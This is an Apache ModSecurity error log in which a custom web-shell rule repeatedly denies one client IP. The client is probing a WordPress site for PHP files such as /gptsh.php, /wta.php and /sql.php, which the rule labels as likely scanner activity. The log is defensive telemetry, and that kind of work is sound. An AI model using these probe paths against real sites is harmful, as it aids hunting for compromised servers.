[Wed Apr 01 02:48:57.721503 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22992] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGUe53suVMS91e0RHegAAAM8"]
[Wed Apr 01 02:48:57.930434 2026] [:error] [pid 19113:tid 19117] [client 68.221.68.130:22917] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGfXQdXnDyA4XYbYESgAAAQI"]
[Wed Apr 01 02:48:58.205497 2026] [:error] [pid 52593:tid 52685] [client 68.221.68.130:23023] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGuKOtxqtcDhRtD-huQAAAIs"]
[Wed Apr 01 02:48:58.412173 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:23006] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGke53suVMS91e0RHfQAAAMQ"]
[Wed Apr 01 02:48:58.698751 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:23087] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGuKOtxqtcDhRtD-hugAAAII"]
[Wed Apr 01 02:48:58.892710 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:22932] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXGuKOtxqtcDhRtD-hvAAAAJU"]
[Wed Apr 01 02:48:59.181524 2026] [:error] [pid 52836:tid 52896] [client 68.221.68.130:22935] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h02ugyh.php"] [unique_id "acwXG5jk_YTY8bXnEz5vdwAAAEQ"]
[Wed Apr 01 02:48:59.374890 2026] [:error] [pid 19113:tid 19121] [client 68.221.68.130:23003] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXG_XQdXnDyA4XYbYETwAAAQY"]
[Wed Apr 01 02:48:59.660860 2026] [:error] [pid 52836:tid 52893] [client 68.221.68.130:23002] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXG5jk_YTY8bXnEz5vewAAAEE"]
[Wed Apr 01 02:48:59.860504 2026] [:error] [pid 52592:tid 52656] [client 68.221.68.130:22997] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXGz-61iqkPKUhqlb8ywAAAAk"]
[Wed Apr 01 02:49:00.144627 2026] [:error] [pid 52592:tid 52657] [client 68.221.68.130:23027] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXHD-61iqkPKUhqlb8zAAAAAo"]
[Wed Apr 01 02:49:00.347854 2026] [:error] [pid 52594:tid 52708] [client 68.221.68.130:23024] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXHEe53suVMS91e0RHgAAAAMc"]
[Wed Apr 01 02:49:00.624471 2026] [:error] [pid 52593:tid 52682] [client 68.221.68.130:22918] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXHOKOtxqtcDhRtD-hvwAAAIg"]
[Wed Apr 01 02:49:00.832071 2026] [:error] [pid 19113:tid 19138] [client 68.221.68.130:23019] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXHPXQdXnDyA4XYbYEUQAAARc"]
[Wed Apr 01 02:49:01.109912 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:22995] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ad.php"] [unique_id "acwXHeKOtxqtcDhRtD-hwwAAAIU"]
[Wed Apr 01 02:49:01.314390 2026] [:error] [pid 52593:tid 52694] [client 68.221.68.130:23014] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHeKOtxqtcDhRtD-hxAAAAJQ"]
[Wed Apr 01 02:49:01.588522 2026] [:error] [pid 52836:tid 52903] [client 68.221.68.130:23067] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHZjk_YTY8bXnEz5vfwAAAEs"]
[Wed Apr 01 02:49:01.798268 2026] [:error] [pid 52836:tid 52915] [client 68.221.68.130:22923] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHZjk_YTY8bXnEz5vgwAAAFc"]
[Wed Apr 01 02:49:02.068033 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:23137] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHpjk_YTY8bXnEz5vhgAAAEo"]
[Wed Apr 01 02:49:02.281956 2026] [:error] [pid 52836:tid 52900] [client 68.221.68.130:22954] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHpjk_YTY8bXnEz5viAAAAEg"]
[Wed Apr 01 02:49:02.552929 2026] [:error] [pid 52836:tid 52907] [client 68.221.68.130:23007] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHpjk_YTY8bXnEz5vigAAAE8"]
[Wed Apr 01 02:49:02.780032 2026] [:error] [pid 52836:tid 52892] [client 68.221.68.130:22943] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHpjk_YTY8bXnEz5vjAAAAEA"]
[Wed Apr 01 02:49:03.033616 2026] [:error] [pid 52592:tid 52663] [client 68.221.68.130:22860] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z60.php"] [unique_id "acwXHz-61iqkPKUhqlb80AAAABA"]
[Wed Apr 01 02:49:03.260964 2026] [:error] [pid 19113:tid 19128] [client 68.221.68.130:23089] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXH_XQdXnDyA4XYbYEWAAAAQ0"]
[Wed Apr 01 02:49:03.513588 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22915] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXH_XQdXnDyA4XYbYEWgAAARA"]
[Wed Apr 01 02:49:03.741607 2026] [:error] [pid 52592:tid 52648] [client 68.221.68.130:22914] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXHz-61iqkPKUhqlb80QAAAAE"]
[Wed Apr 01 02:49:03.994880 2026] [:error] [pid 52592:tid 52658] [client 68.221.68.130:22945] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXHz-61iqkPKUhqlb81AAAAAs"]
[Wed Apr 01 02:49:04.236503 2026] [:error] [pid 52592:tid 52665] [client 68.221.68.130:22929] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXID-61iqkPKUhqlb81QAAABI"]
[Wed Apr 01 02:49:04.477176 2026] [:error] [pid 52593:tid 52690] [client 68.221.68.130:23004] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXIOKOtxqtcDhRtD-hyQAAAJA"]
[Wed Apr 01 02:49:04.719904 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:23124] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXIPXQdXnDyA4XYbYEYAAAAQk"]
[Wed Apr 01 02:49:04.956378 2026] [:error] [pid 52593:tid 52689] [client 68.221.68.130:22940] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "acwXIOKOtxqtcDhRtD-hygAAAI8"]
[Wed Apr 01 02:49:05.204544 2026] [:error] [pid 52593:tid 52676] [client 68.221.68.130:22948] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIeKOtxqtcDhRtD-hywAAAII"]
[Wed Apr 01 02:49:05.455863 2026] [:error] [pid 52593:tid 52696] [client 68.221.68.130:23124] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIeKOtxqtcDhRtD-hzAAAAJY"]
[Wed Apr 01 02:49:05.711874 2026] [:error] [pid 52593:tid 52682] [client 68.221.68.130:22934] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIeKOtxqtcDhRtD-hzwAAAIg"]
[Wed Apr 01 02:49:05.945962 2026] [:error] [pid 52593:tid 52697] [client 68.221.68.130:22951] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIeKOtxqtcDhRtD-h0wAAAJc"]
[Wed Apr 01 02:49:06.221122 2026] [:error] [pid 52593:tid 52691] [client 68.221.68.130:23056] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIuKOtxqtcDhRtD-h1QAAAJE"]
[Wed Apr 01 02:49:06.435945 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22933] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIuKOtxqtcDhRtD-h2AAAAI0"]
[Wed Apr 01 02:49:06.701125 2026] [:error] [pid 52592:tid 52666] [client 68.221.68.130:22962] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIj-61iqkPKUhqlb81wAAABM"]
[Wed Apr 01 02:49:06.915098 2026] [:error] [pid 52592:tid 52657] [client 68.221.68.130:22998] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wta.php"] [unique_id "acwXIj-61iqkPKUhqlb82QAAAAo"]
[Wed Apr 01 02:49:07.209629 2026] [:error] [pid 52594:tid 52712] [client 68.221.68.130:22865] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXI0e53suVMS91e0RHigAAAMs"]
[Wed Apr 01 02:49:07.396100 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22858] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXI-KOtxqtcDhRtD-h3QAAAIk"]
[Wed Apr 01 02:49:07.694625 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:22938] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXI-KOtxqtcDhRtD-h4AAAAIU"]
[Wed Apr 01 02:49:07.874471 2026] [:error] [pid 52593:tid 52694] [client 68.221.68.130:23156] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXI-KOtxqtcDhRtD-h4QAAAJQ"]
[Wed Apr 01 02:49:08.177730 2026] [:error] [pid 52594:tid 52708] [client 68.221.68.130:22889] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXJEe53suVMS91e0RHjQAAAMc"]
[Wed Apr 01 02:49:08.375334 2026] [:error] [pid 52592:tid 52655] [client 68.221.68.130:22986] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXJD-61iqkPKUhqlb82wAAAAg"]
[Wed Apr 01 02:49:08.664766 2026] [:error] [pid 52592:tid 52668] [client 68.221.68.130:23092] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXJD-61iqkPKUhqlb83QAAABU"]
[Wed Apr 01 02:49:08.866063 2026] [:error] [pid 52594:tid 52723] [client 68.221.68.130:22855] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sql.php"] [unique_id "acwXJEe53suVMS91e0RHkQAAANY"]
[Wed Apr 01 02:49:09.147390 2026] [:error] [pid 52594:tid 52711] [client 68.221.68.130:23018] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJUe53suVMS91e0RHlQAAAMo"]
[Wed Apr 01 02:49:09.366183 2026] [:error] [pid 52592:tid 52662] [client 68.221.68.130:23017] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJT-61iqkPKUhqlb83gAAAA8"]
[Wed Apr 01 02:49:09.641252 2026] [:error] [pid 52836:tid 52916] [client 68.221.68.130:23128] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJZjk_YTY8bXnEz5vlgAAAFg"]
[Wed Apr 01 02:49:09.846469 2026] [:error] [pid 19113:tid 19116] [client 68.221.68.130:23033] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJfXQdXnDyA4XYbYEYwAAAQE"]
[Wed Apr 01 02:49:10.153217 2026] [:error] [pid 52592:tid 52659] [client 68.221.68.130:23013] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJj-61iqkPKUhqlb84QAAAAw"]
[Wed Apr 01 02:49:10.325190 2026] [:error] [pid 52594:tid 52724] [client 68.221.68.130:22878] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJke53suVMS91e0RHmAAAANc"]
[Wed Apr 01 02:49:10.633120 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:22853] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJvXQdXnDyA4XYbYEZgAAAQ8"]
[Wed Apr 01 02:49:10.806084 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:23113] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acwXJvXQdXnDyA4XYbYEZwAAARE"]
[Wed Apr 01 02:49:11.122422 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22965] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "acwXJ0e53suVMS91e0RHmgAAAMQ"]
